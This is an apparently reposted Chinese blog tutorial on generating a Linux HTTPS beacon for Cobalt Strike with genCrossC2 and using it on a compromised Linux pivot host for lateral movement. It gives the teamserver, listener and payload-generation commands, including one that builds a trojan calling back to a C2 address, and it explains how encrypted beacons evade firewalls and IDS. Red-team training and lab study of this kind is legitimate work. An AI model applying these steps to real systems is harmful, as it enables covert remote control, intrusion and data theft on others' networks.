Cobalt Strike横向渗透之Https Beacon实战1(跳板机Linux) - 教程

news/2026/1/16 22:49:30/文章来源:https://www.cnblogs.com/gccbuaa/p/19494285

目录

一、Https Beacon简介

二、 Linux平台 Beacon 生成工具

1、genCrossC2安装

(1)基础文件下载

(2)构建genCrossC2环境

(3)修改cna配置文件

2、genCrossC2 生成 Beacon

三、CobaltStrike实战

1、服务端

(1)配置权限

(2)启动服务端

2、客户端

四、监听器Https Beacon渗透实战

1、添加监听器

2、配置NAT模式

3、攻击机生成https stageless木马

4、上传https beacon木马到跳板机

5、跳板机执行ljn.out

四、Https Beacon内网横向渗透实战

1、https监听1

2、https监听2


本系列讲解内网渗透中跳板机为linux系统的情况下,通过CobaltStrike生成的https beacon与跳板机建立连接,再基于跳板机进行横向渗透的过程,整体流程图如下所示。本篇主要讲解如何生成linux的https beacon文件,相对于跳板机为windows系统而言,本篇的主要区别是默认的CS并不支持生成linux的https beacon文件。

sequenceDiagramparticipant Attacker as 攻击者(C2服务器)participant Compromised_Server as 已控服务器
(运行HTTPS Beacon)participant Internal_Target as 内网目标
(如数据库/RDP)Note over Attacker: 阶段1:Beacon初始回连Compromised_Server->>Attacker: HTTPS GET请求
(含加密元数据)Attacker-->>Compromised_Server: 返回加密指令
(如sleep/timeout)Note over Attacker: 阶段2:横向移动Compromised_Server->>Internal_Target: 代理攻击流量
(如SMB爆破/端口扫描)Internal_Target-->>Compromised_Server: 返回响应数据Note over Attacker: 阶段3:数据回传Compromised_Server->>Attacker: 加密POST请求
(数据伪装为HTTPS流量)Attacker-->>Compromised_Server: 新任务指令Note over Attacker: 循环执行阶段2-3

一、Https Beacon简介

HTTPS Beacon 使用 HTTPS 协议进行通信,基于 HTTP 协议并通过 SSL/TLS 协议提供加密传输和身份验证功能。HTTPS Beacon 是现代高级持续性威胁和红队操作中最常用的 C2 通信技术之一。它利用无处不在且受信任的 HTTPS 协议作为掩护,通过加密有效隐藏恶意指令和数据传输,极大地增加了防御者的检测难度。

  • Beacon基本概念:Beacon 可直译为灯塔、信标,HTTPS Beacon 是 Cobalt Strike 等工具中运行在目标主机上的 payload。它就像一个潜伏在目标主机上的 “信标”,会定期向控制服务器发送信号,告知自己的存在,并等待接收指令,以实现对目标主机的长期控制。
    • "Beacon" 字面意思是"信标"。在恶意软件语境中,它指的是植入在受害者系统上的恶意代码(Payload)。这个 Beacon 的主要功能是定期(或基于事件)向攻击者控制的 C2 服务器"报到"(发送心跳信号)。

    • 报到目的包括:

      • 心跳/存活确认:告诉 C2 服务器"我还活着"。

      • 检查任务:询问 C2 服务器是否有新的指令需要执行(如下载更多恶意软件、窃取数据、执行命令等)。

      • 回传数据:将窃取的信息(如凭证、键盘记录、屏幕截图、文件)发送回 C2。

      • 接收指令:获取 C2 服务器下发的下一步行动命令。

  • HTTPS 协议的应用

    • 加密通信:HTTPS 是在 HTTP 协议基础上加入了 TLS/SSL 加密层。这意味着 Beacon 与 C2 服务器之间的所有通信内容(指令、窃取的数据、配置信息)都被加密。

    • 伪装成合法流量:HTTPS 是互联网上最普遍、最受信任的协议之一(用于银行、电商、社交媒体等)。恶意流量隐藏在加密的 HTTPS 流量中,可以:

      • 绕过传统防火墙和 IDS/IPS:这些设备通常无法解密 HTTPS 流量来检查其内容(除非配置了 SSL/TLS 解密代理)。

      • 规避基于签名的检测:加密使得基于流量内容特征(如特定字符串)的检测方法失效。

      • 融入背景噪音:大量的合法 HTTPS 流量使得恶意通信更难被区分出来。

  • 与 HTTP Beacon 的区别:HTTPS Beacon 和 HTTP Beacon 使用了相同的 Malleable C2 配置文件,均使用 GET 和 POST 的方式传输数据。不同点在于 HTTPS Beacon 使用了 SSL/TLS 协议,能保证数据传输中信息不被截取或发生中间人攻击等,安全性更高。
  • 应用场景:在渗透测试中,测试人员可利用 HTTPS Beacon 绕过目标网络的部分安全检测机制,因为 HTTPS 是常见的加密网络流量,一些防火墙和入侵检测系统可能不会对其进行深度检测。而在恶意软件攻击中,攻击者也可能会利用 HTTPS Beacon 来控制被感染的主机,窃取数据或执行其他恶意操作。

二、 Linux平台 Beacon 生成工具

genCrossC2 是 Cobalt Strike 官方提供的 跨平台 Beacon 生成工具,支持生成 Windows、Linux、macOS 等多种系统的 Beacon 载荷,适用于红队渗透测试和内网横向移动。其github网址如下所示。

https://github.com/gloxec/CrossC2

1、genCrossC2安装

(1)基础文件下载

在github下载Realse的Cross C2,这里选择v3.3-stable版本,如下图红框所示。

以本机为例,我计划在windows执行genCrossC2,故而需要下载win版本和cna配置文件,如下图红框所示。

(2)构建genCrossC2环境

将下载后的文件解压后放到同一文件夹,并将Cobalt Strike服务器生成(./teamserver 运行时自动创建)的 .cobaltstrike.beacon_keys密钥文件也放到文件夹中,如下所示。

.cobaltstrike.beacon_keys文件为CS服务端运行时生成,该文件的路径来源如下所示。

(3)修改cna配置文件

修改 CrossC2-GithubBot-2023-11-20.cna 配置,$CC2_PATH 填当前脚本的绝对路径,$CC2_BIN 填 genCrossC2.exe 相对于 $CC2_PATH 的相对路径,注意 windows 要用双反斜杠,效果如下所示。

2、genCrossC2 生成 Beacon

通过genCrossC2生成https beacon文件,命令行如下所示。

./genCrossC2   <密钥文件> <代理设置> <目标系统> <输出文件> <格式>
参数必选说明示例值
C2_IPC2 服务器 IP 或域名20.1.0.32
C2_PORTC2 监听端口443(HTTPS)
密钥文件Beacon 加密通信的密钥路径./.cobaltstrike.beacon_keys
代理设置代理配置(如 socks5://127.0.0.1:1080null(直连)
目标系统指定操作系统和架构Linux x64Windows x86
输出文件生成的 Beacon 文件名payload.elf
格式输出格式(raw/shellcoderaw(可执行文件)

三、CobaltStrike实战

1、服务端

(1)配置权限

在CobaltStrike执行服务端程序之前一定记得给执行权限 否则无法执行,具体命令如下所示。

chmod +x teamserver
chmod +x TeamServerImage

(2)启动服务端

服务端的命令如下:./teamserver `本地kali虚拟机`的ip 密码

./teamserver 192.168.59.128 123456

启动成功后 会显示Linstener:forward started!,效果如下所示。

2、客户端

客户端启动成功后 会显示一个登录界面 在密码处写入刚才设置的密码 点击connect连接即可,其中主机ip地址填写服务端的ip地址,端口填写默认的50050,效果如下图所示。

登陆成功后,进入到如下页面,效果如下图所示。

四、监听器Https Beacon渗透实战

1、添加监听器

Cobalt StrikeListeners,进入监听器的页面,操作如下所示。

在新弹出的监听器listener页面中,点击下图红框中的添加部分,效果如下图所示。

配置监听器,payload选择BeaconHttps,地址填写攻击主机的IP地址,如下所示。由于CrossC2仅支持https的beacon,所以payload只能用Beacon HTTPS通过。

  • name: 为监听器名字,配置为10086_https
  • HTTP Hosts:  进行回连的主机(shell反弹的主机),也就是我们kali的ip,可以设置多个,我这里使用的是公网ip地址20.1.0.32(不过由于本机的Kali是在虚拟机中,故而后续还需要配置NAT)。
  • HTTP Hosts(Stager):  Stager的马请求下载payload的地址(一般也是和上面的ip填一样)
  • HTTP Port(C2): payload回连的端口,这里选择使用10086

配置成功后效果如下所示。

2、配置NAT模式

本步骤需要将端口10087映射到NAT中。由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。

点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

使用ifconfig查看Kali攻击机的ip地址,本机为192.168.59.128,如下所示。

点击添加后,端口映射主机与虚拟机的端口均配置为10086,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

点击确认配置完毕后如下图红框所示,按照顺序点击确定即可配置成功。

3、攻击机生成https stageless木马

由于默认的情况下CS工具中并没有生成linux载荷的部分,如下图红框所示只有windows的Beacon载荷 生成方法,Linux生成载荷需要进行特别处理,我们选择使用命令行方法讲解如何生成linux系统的可执行程序。

使用命令行生成linux下的木马,完整命令如下。

./genCrossC2.exe 20.1.0.32 10087 ./.cobaltstrike.beacon_keys null Linux x64 ljn.out raw

执行如上命令便在当前目录下生成了ljn.out文件,参数说明如下所示:

  • ./genCrossC2.exe:执行genCrossC2工具(Cobalt Strike 的跨平台 Beacon 生成工具)
  • 20.1.0.32:指定 C2 服务器的 IP 地址(即 Beacon 回连的控制端 IP)
  • 10087:指定 C2 服务器监听的端口(Beacon 将通过此端口与控制端通信)
  • ./.cobaltstrike.beacon_keys:指定 Beacon 的加密密钥文件路径,用于 Beacon 与 C2 服务器之间的通信加密
  • null:指定水印值(可选参数,这里设为 null 表示不使用水印)
  • Linux:指定生成的 Beacon 运行的目标操作系统
  • x64:指定目标系统的架构(64 位)
  • ljn.out:生成的 Beacon 文件名称
  • raw:指定生成的 Beacon 类型为原始二进制文件(无文件头,可用于进一步封装)

4、上传https beacon木马到跳板机

5、跳板机执行ljn.out

将上传到跳板机的木马ljn.out运行,不过在运行前需要先增加权限,否则会执行失败。

当成功执行ljn.out时,这时候查看攻击机的CS工具,如下所示此时上线成功。

在cs的会话中执行ifconfig命令,如下所示说明成功连接内网设备。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1170264.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【概率与期望相关】- 笔记

OI 中的概率与期望相关 在 OI 中,我们常讨论离散随机变量。1. 概率的定义 虽然我们都知道概率是 \(0\) 到 \(1\) 之间的一个数,但在解题时,更推荐大家从集合的角度去理解。 设样本空间为 \(\Omega\)(所有可能发生的…

编写一个Buildroot 驱动

编写一个Buildroot 驱动模块 由于Buildroot 不支持ssh 故采用adb调试 adb连接 列出设备 adb devices连接设备 adb shell驱动模块编译(交叉编译) 驱动模块源码 #include <linux/module.h> /* 模块相关宏和函数…

20260115紫题训练总结 - Link

A - 荣誉称号 场上想到了转换成完全二叉树,但没有发现大量点同余这一性质…… 题解 B - training 训练路径 经过转换,问题变成求没有偶欢的最大生成仙人掌,必须包含原树边,有因为每个点再原树上只有 \(10\) 个边,…

JavaOOP

JavaOOPJava面向对象2026.01.15 我好想哭吧我昨天写的没保存 算了不管了反正也没看多少( 回顾方法以及加深不多说吧,记一下重点的东西好了 break和return的区别: break:跳出switch,结束循环 return:结束方法,返…

《欲罢不能:刷屏时代如何摆脱行为上瘾》

《欲罢不能》不只是讲网瘾&#xff0c;而是把它归到“行为上瘾”这个大概念里说。核心就是&#xff0c;我们刷手机、打游戏停不下来&#xff0c;不是意志力差&#xff0c;是背后有顶尖设计师&#xff0c;盯着人类心理弱点设计了上瘾套路。 书里说行为上瘾和吸毒、喝酒的生…

家用照片打印天花板!佳能 PIXMA iP3500 驱动让色彩还原度拉满

作为摄影爱好者&#xff0c;平时喜欢把拍的照片打印出来做成相册&#xff0c;但家用打印机总达不到预期 —— 要么色彩偏暗&#xff0c;要么细节模糊&#xff0c;直到我找到适配佳能 PIXMA iP3500 的专属驱动&#xff08;https://www.qudongwu.com/xiazai_9543.html&#xff09…

Redis 事务(MULTI/EXEC)与 Lua 脚本的核心区别 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

办公党狂喜!惠普 Deskjet F4180 一体机驱动稳定版,打印扫描复印全在线

作为小型工作室的打工人&#xff0c;惠普 Deskjet F4180 一体机是我们的核心设备 —— 打印合同、扫描文件、复印资料全靠它&#xff0c;可之前的驱动总是掉链子&#xff1a;扫描时分辨率模糊&#xff0c;复印超过 10 页就卡纸&#xff0c;偶尔还会出现 “驱动冲突” 导致设备离…

2026年嘉应学院寒假算法冬令营结训赛

2026年嘉应学院寒假算法冬令营结训赛A B2029 大象喝水 - 洛谷 数学题,对于圆周率 π ,可以100之后再除回去,避免小数带来的精度误差。 void solve(){int h,r;cin>>h>>r;int sum=h*314*r*r;//cout<&l…

STM32上进行卡尔曼滤波

1.卡尔曼滤波介绍 卡尔曼滤波的核心是融合测量值和系统模型预测值,消除随机噪声,即用动态加权平均,逐步逼近真实状态。 2.程序简单分析 程序上首先初始化滤波器的参数,然后取芯片内部温度传感器的值,然后进行滤波…

上海团队与华盛顿大学联手:AI实现医学图像精准识别突破

这项由上海医疗图像洞察&#xff08;Medical Image Insights&#xff09;团队的史鹏程、陈佳伟、刘佳琦、张星林&#xff0c;联合华盛顿大学的李雷、滑铁卢大学的陈涛以及西安交通大学的研究人员共同完成的重大研究&#xff0c;于2025年11月发表在arXiv预印本服务器上&#xff…

SEO救星上线!Google Search Console新功能手把手教你秒提收录

SEO救星上线&#xff01;Google Search Console新功能手把手教你秒提收录SEO救星上线&#xff01;Google Search Console新功能手把手教你秒提收录先别急着点按钮&#xff0c;把“门”打开再说点“请求索引”之前&#xff0c;先给页面做个“全身体检”1. 看看有没有瞎写 noinde…

微信立减金回收,2026年最聪明的省钱新姿势你真的知道吗 - 京顺回收

春节脚步渐近,不少人翻看微信钱包时,会意外发现里面悄悄积攒了不少“微信立减金”。这些立减金看似金额不大,但日积月累下来,数量也颇为可观。然而,烦恼也随之而来:有些立减金临近过期,只能眼睁睁看着它们失效,…

多模一体破局:金仓数据库引领文档数据库国产化新征程

多模一体破局&#xff1a;金仓数据库引领文档数据库国产化新征程 在数字化转型的深水区&#xff0c;企业对数据处理的期待早已超越简单的存储与调用。文档数据库凭借其对半结构化数据的天然亲和力&#xff0c;已成为现代应用开发的重要支柱。然而&#xff0c;当企业面临技术自主…

跨平台虚拟机网络故障排查

引言跨平台虚拟机网络架构的常见应用场景网络故障对业务连续性的影响排查工具与方法概述常见网络故障类型虚拟机与宿主机通信失败跨虚拟机间通信问题外部网络访问异常DHCP/DNS配置错误防火墙或安全策略阻断基础排查步骤检查虚拟机网络适配器配置&#xff08;NAT/桥接/仅主机模式…

金仓数据库如何以“多模融合”重塑文档数据库新范式:技术实战与代码示例

文章目录金仓数据库如何以“多模融合”重塑文档数据库新范式&#xff1a;技术实战与代码示例一、性能实测&#xff1a;直面行业标杆&#xff0c;展现硬核实力二、内核筑基&#xff1a;企业级能力的原生继承三、无缝迁移与极致可用四、实践验证&#xff1a;电子证照系统的平滑替…

新加坡科技设计大学:AI音乐生成终于学会“听懂“人类喜好了

这项由新加坡科技设计大学AMAAI实验室的Dorien Herremans和Abhinaba Roy共同完成的研究发表于2025年11月&#xff0c;论文编号为arXiv:2511.15038v1。对这项突破性研究感兴趣的读者可以通过该编号查找完整论文内容。说起AI作曲&#xff0c;你可能已经听过那些能根据文字描述生成…

Meta团队首次发现:AI研究助手的成功竟然靠“不断试错“?

一支来自Meta FAIR实验室的研究团队&#xff0c;联合伦敦大学学院、Meta超级智能实验室和英属哥伦比亚大学的学者们&#xff0c;在2025年11月发表了一项开创性研究。这项研究深入探讨了什么让AI研究助手变得更加出色&#xff0c;论文发表在国际顶级学术期刊上&#xff0c;编号为…

《企业元宇宙架构设计,AI应用架构师如何打造经典》

企业元宇宙架构设计&#xff1a;AI应用架构师如何打造经典 一、引言&#xff1a;企业元宇宙不是噱头&#xff0c;是数字化转型的下一站 钩子&#xff1a;你见过“能预测未来”的工厂吗&#xff1f; 去年&#xff0c;我去参观一家长三角的汽车零部件工厂&#xff0c;车间里没有传…

基于 Flutter × OpenHarmony 构建应用选择主题部分实现

文章目录基于 Flutter OpenHarmony 构建应用选择主题部分实现前言背景Flutter OpenHarmony 跨端开发介绍开发核心代码心得总结基于 Flutter OpenHarmony 构建应用选择主题部分实现 前言 在现代移动应用开发中&#xff0c;“关于应用”页面是用户了解应用信息的重要入口。它…